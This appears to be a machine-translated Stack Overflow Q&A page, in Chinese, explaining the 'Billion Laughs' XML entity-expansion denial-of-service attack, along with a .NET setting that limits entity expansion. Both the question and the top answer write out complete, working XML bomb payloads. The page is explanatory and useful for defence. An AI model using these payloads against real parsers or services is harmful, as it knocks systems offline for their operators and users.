2010-08-10 49 views
40
<!DOCTYPE root [ 
<!ENTITY ha "Ha !"> 
<!ENTITY ha2 "&ha; &ha;"> 
<!ENTITY ha3 "&ha2; &ha2;"> 
<!ENTITY ha4 "&ha3; &ha3;"> 
<!ENTITY ha5 "&ha4; &ha4;"> 
... 
<!ENTITY ha128 "&ha127; &ha127;"> 
]> 
<root>&ha128;</root> 

據說這叫做十億笑DoS攻擊。億笑笑XML DoS攻擊如何工作?

有誰知道它是如何工作的?

+12

應該遷移到BufferOverFlow ... http://en.wikipedia。org/wiki/Billion_laughs – codingbadger 2010-08-10 16:31:31

+8

你應該被遷移到barryoverflow – 2010-08-10 17:17:08

+0

在Firefox 48上試一試你的計算機失速:-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 – 2016-09-18 17:07:27

回答

46

The Billion Laughs攻擊是針對XML解析器的拒絕服務攻擊。億笑攻擊也被稱爲XML炸彈,或者更爲深奧的是指數實體擴展攻擊。即使使用格式良好的XML,也可能發生十億個笑的攻擊,並且還可以通過XML模式驗證。

在下面的XML文件中演示了vanilla Billion Laughs攻擊。

<?xml version="1.0"?> 
<!DOCTYPE lolz [ 
<!ENTITY lol "lol"> 
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
]> 
<lolz>&lol9;</lolz> 

在這個例子中,有10個不同的XML實體,lol - lol9。第一個實體lol被定義爲字符串「lol」。但是,每個其他實體被定義爲另一個實體的10個實體。此XML文件的文檔內容部分僅包含對實體lol9的一個實例的引用。但是,當DOM或SAX語法分析器正在解析此內容時,遇到lol9時,它將擴展爲10個,其​​中每個擴展爲10個,其​​他等等。當所有內容擴展到文本lol時,都會有100,000,000個字符串"lol"的實例。如果還有一個實體,或者lol被定義爲「lol」的10個字符串,則會有十億個「大聲笑」,因此就是攻擊的名字。毋庸置疑,這樣的擴展消耗了大量的資源和時間,導致了DOS。

我的blog存在更廣泛的解釋。

+0

非常喜歡你的安全博客網站試圖用[歷史記錄和重定向技巧]捕獲流量的方式(http://blog.yoocare.com/how-to-remove-ib-adnxs-com-pop-ups-browser- redirect-virus-removal /);) – jww 2013-05-14 04:43:44

+1

什麼?沒有CodePen的例子? – 2016-11-10 17:00:01

2

它寫道「哈!」 2 次。

+0

@zneak:怎麼做它這樣做? – 2010-08-10 16:36:21

+6

@I__:實體'&ha128;'擴展爲兩個實體'&ha127;',然後擴展爲四個'&ha126;',然後擴展爲八個'&ha125;'......,直到它擴展到數千億的'&ha;',這解決了'哈!'。 – zneak 2010-08-10 16:36:36

+0

你能告訴我一個教程,解釋如何工作? – 2010-08-10 16:39:44

18

的XML炸彈之一 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

攻擊者現在可以利用XML的這三個屬性(替代實體,嵌套的實體,而內嵌的DTD)來製作一個惡意的XML炸彈。攻擊者從這些「炸彈寫道嵌套實體就像前面的例子中的XML文檔,但不是嵌套只是一個深層次的,他自己的巢深實體多層次......

也有代碼保護「(在.NET世界):

XmlReaderSettings settings = new XmlReaderSettings(); 
settings.ProhibitDtd = false; 
settings.MaxCharactersFromEntities = 1024; 
XmlReader reader = XmlReader.Create(stream, settings); 
11

<!ENTITY ha "Ha !">定義一個實體,&ha;展開至"Ha !"。下一行定義了另一個實體&ha2;,該實體擴展爲"&ha; &ha;",最終爲"Ha ! Ha !"

&ha3;變成Ha ! Ha ! Ha ! Ha !,依此類推,每次增加一倍。如果您遵循該模式,則&haN;"Ha !",2 N-1次,因此&ha128擴展爲2 "Ha !" s,這對於任何計算機無法處理都太大。

+0

糟糕,我想我除以二而不是減一。 – 2010-08-10 18:51:03